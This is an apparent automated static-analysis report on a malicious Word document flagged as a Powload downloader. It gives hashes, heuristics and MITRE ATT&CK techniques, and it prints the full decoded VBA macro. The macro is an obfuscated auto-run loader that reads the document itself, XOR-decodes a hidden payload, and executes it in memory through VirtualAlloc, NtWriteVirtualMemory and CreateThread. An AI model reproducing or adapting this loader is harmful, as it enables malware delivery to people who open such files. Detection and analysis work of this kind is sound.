Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6ea9ecc1dfc535aa…

MALICIOUS

Office (OLE)

37.1 KB Created: 2017-08-02 20:42:00 Authoring application: Microsoft Office Word First seen: 2017-08-08
MD5: d7352d16ce9d0da1df1d831a30bbd321 SHA-1: 3d129e6af09fb201fc9efca46f90574b973b6ec9 SHA-256: 6ea9ecc1dfc535aa787956b43519977c9553db5ea153e22b9d463706db3891aa
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a Microsoft Office document containing VBA macros. The macros utilize Windows API functions such as VirtualAlloc and CreateThread, indicating an attempt to allocate memory and execute code. The ClamAV detection 'Doc.Downloader.Powload-6809817-0' strongly suggests a downloader functionality. The presence of the 'macros.bas' artifact further supports the macro-based execution of a payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6809817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6809817-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
    ztcIhRsylCJYwowyQZXAygmfICnlt
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
    Document_Open
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4763 bytes
SHA-256: efd76df5646704e0f78bbb593c0063116df157c817a0588dae87a01bdfe0e2ae
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

#If VBA7 Then
Private Declare PtrSafe Function kjadRfQLFuR Lib "kernel32" Alias "CreateThread" (ByVal pAptXjKRvj As Long, ByVal DGSftbmqddC As Long, ByVal bOURWbnliyYYcesHEYZibW As LongPtr, yEJIBxkHhM As Long, ByVal nEcrNQhXffHTdoJELfduHfDvm As Long, tMOYQQmlROE As Long) As LongPtr
Private Declare PtrSafe Function yCesiibGfAwvjhoRGSxVazUUtD Lib "kernel32" Alias "VirtualAlloc" (ByVal zVbmMvpcSoBhHOBeedPc As Long, ByVal kppTmiVZcHSLqzKyhRvWXtfxN As LongPtr, ByVal ToLsIWcPoGMsAmudQHJwroQGW As Long, ByVal ufTRkRgvoH As Long) As LongPtr
Private Declare PtrSafe Function NtWriteVirtualMemory Lib "NTDLL" (ByVal JYWIAkeLPqi As LongPtr, ByVal TDyOqzExfvwBWWxwUl As LongPtr, ByVal XNPgINN As String, ByVal dMUgVmDZoMcQVJjjnCuLENIRD As LongPtr, ByRef kOewPbCJBL As LongPtr) As LongPtr
#Else
Private Declare Function kjadRfQLFuR Lib "kernel32" Alias "CreateThread"  (ByVal pAptXjKRvj As Long, ByVal DGSftbmqddC As Long, ByVal bOURWbnliyYYcesHEYZibW As Long, yEJIBxkHhM As Long, ByVal nEcrNQhXffHTdoJELfduHfDvm As Long, tMOYQQmlROE As Long) As Long
Private Declare Function yCesiibGfAwvjhoRGSxVazUUtD Lib "kernel32" Alias "VirtualAlloc" (ByVal zVbmMvpcSoBhHOBeedPc As Long, ByVal kppTmiVZcHSLqzKyhRvWXtfxN As Long, ByVal ToLsIWcPoGMsAmudQHJwroQGW As Long, ByVal ufTRkRgvoH As Long) As Long
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal JYWIAkeLPqi As Long, ByVal TDyOqzExfvwBWWxwUl As Long, ByVal XNPgINN As String, ByVal dMUgVmDZoMcQVJjjnCuLENIRD As Long, ByRef kOewPbCJBL As Long) As Long
#End If

Const isNXksUmQubcnSBbgSbwYt = &H1000
Const tsuwVFqaxmbRqHgXDNiExHGpQvJ = &H40

Public Sub ztcIhRsylCJYwowyQZXAygmfICnlt()
    Dim pbXgLFUQHoZPhgY() As Byte

    pbXgLFUQHoZPhgY = TubQRMDsNpVSbLkt(ActiveDocument.FullName)
    Dim JlwcVXlYBthXZFEhe As String
    JlwcVXlYBthXZFEhe = StrConv(pbXgLFUQHoZPhgY, 64)
    
    Dim nIapCRDarIAIYfgiSbOrArPZ
    nIapCRDarIAIYfgiSbOrArPZ = Split(JlwcVXlYBthXZFEhe, "jxJKdjnOtqNmkXBJkepOKeucKZGhOqkCCgguttUMcvSYuZReMbHQqjRfdHadCgZcgkJeQgqRjDLplvILhCuNJtmtobqMtQjWvQSjpMnFKQHNxBTIZpVaLlsMYpPPQExtuOTvCzvvoOdTMzWN")

    Dim sxXQcJSLsSqAtJFyVFC As String
    Dim YpgzYdXx As String
    Dim IzmRLqDPWOPajolkU As String
    YpgzYdXx = StrConv(StrConv(nIapCRDarIAIYfgiSbOrArPZ(UBound(nIapCRDarIAIYfgiSbOrArPZ)), 64), 128)
    IzmRLqDPWOPajolkU = Mid$(YpgzYdXx, 3, Len(YpgzYdXx))

    sxXQcJSLsSqAtJFyVFC = jGzamWAkZSjYDpsiQSWbSv("INeUilkxgkZW", IzmRLqDPWOPajolkU)
    
    #If VBA7 Then
        Dim OKQLPytEQVZG As LongPtr
        Dim tEQmaltZUyIPPwMMe As LongPtr
    #Else
        Dim OKQLPytEQVZG As Long
        Dim tEQmaltZUyIPPwMMe As Long
    #End If

    OKQLPytEQVZG = yCesiibGfAwvjhoRGSxVazUUtD(0, Len(sxXQcJSLsSqAtJFyVFC), isNXksUmQubcnSBbgSbwYt, tsuwVFqaxmbRqHgXDNiExHGpQvJ)
    tEQmaltZUyIPPwMMe = NtWriteVirtualMemory(-1, OKQLPytEQVZG, sxXQcJSLsSqAtJFyVFC, Len(sxXQcJSLsSqAtJFyVFC), 0)
    tEQmaltZUyIPPwMMe = kjadRfQLFuR(0, 0, OKQLPytEQVZG, 0, 0, 0)
End Sub

Public Function TubQRMDsNpVSbLkt(ByVal joYIWGmQHysiSEMmBLXw As String) As Byte()
    Dim YpgzYdXx As Long
    Dim IzmRLqDPWOPajolkU() As Byte
    YpgzYdXx = FreeFile
    If LenB(Dir(joYIWGmQHysiSEMmBLXw)) Then
        Open joYIWGmQHysiSEMmBLXw For Binary Access Read As YpgzYdXx
        ReDim IzmRLqDPWOPajolkU(LOF(YpgzYdXx) - 1&) As Byte
        Get YpgzYdXx, , IzmRLqDPWOPajolkU
        Close YpgzYdXx
    Else
        Err.Raise 53
    End If
    TubQRMDsNpVSbLkt = IzmRLqDPWOPajolkU
    Erase IzmRLqDPWOPajolkU
End Function

Public Sub Document_Open()
    ztcIhRsylCJYwowyQZXAygmfICnlt
End Sub

Sub Workbook_Open()
    Document_Open
End Sub

Public Function jGzamWAkZSjYDpsiQSWbSv(LOjHfPbVpesNQZImprArL As String, XlzHbysnTROXOlcpuvYX As String) As String
    Dim UkCBihGGJsdXfQYhyNCCblBYTlw As Long
    Dim aXetOMdbXf As String
    Dim qMHjzLaJvehVIvuSJIDIXLvGMn As Integer, xFBHZUWzoMU As Integer, a As Long

    For UkCBihGGJsdXfQYhyNCCblBYTlw = 1 To Len(XlzHbysnTROXOlcpuvYX)
        a = UkCBihGGJsdXfQYhyNCCblBYTlw Mod Len(LOjHfPbVpesNQZImprArL)
        If a = 0 Then a = Len(LOjHfPbVpesNQZImprArL)
        
        qMHjzLaJvehVIvuSJIDIXLvGMn = Asc(Mid$(XlzHbysnTROXOlcpuvYX, UkCBihGGJsdXfQYhyNCCblBYTlw, 1))
        xFBHZUWzoMU = Asc(Mid$(LOjHfPbVpesNQZImprArL, a, 1))
        aXetOMdbXf = aXetOMdbXf + Chr(qMHjzLaJvehVIvuSJIDIXLvGMn Xor xFBHZUWzoMU)
    Next UkCBihGGJsdXfQYhyNCCblBYTlw
    
   jGzamWAkZSjYDpsiQSWbSv = aXetOMdbXf
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.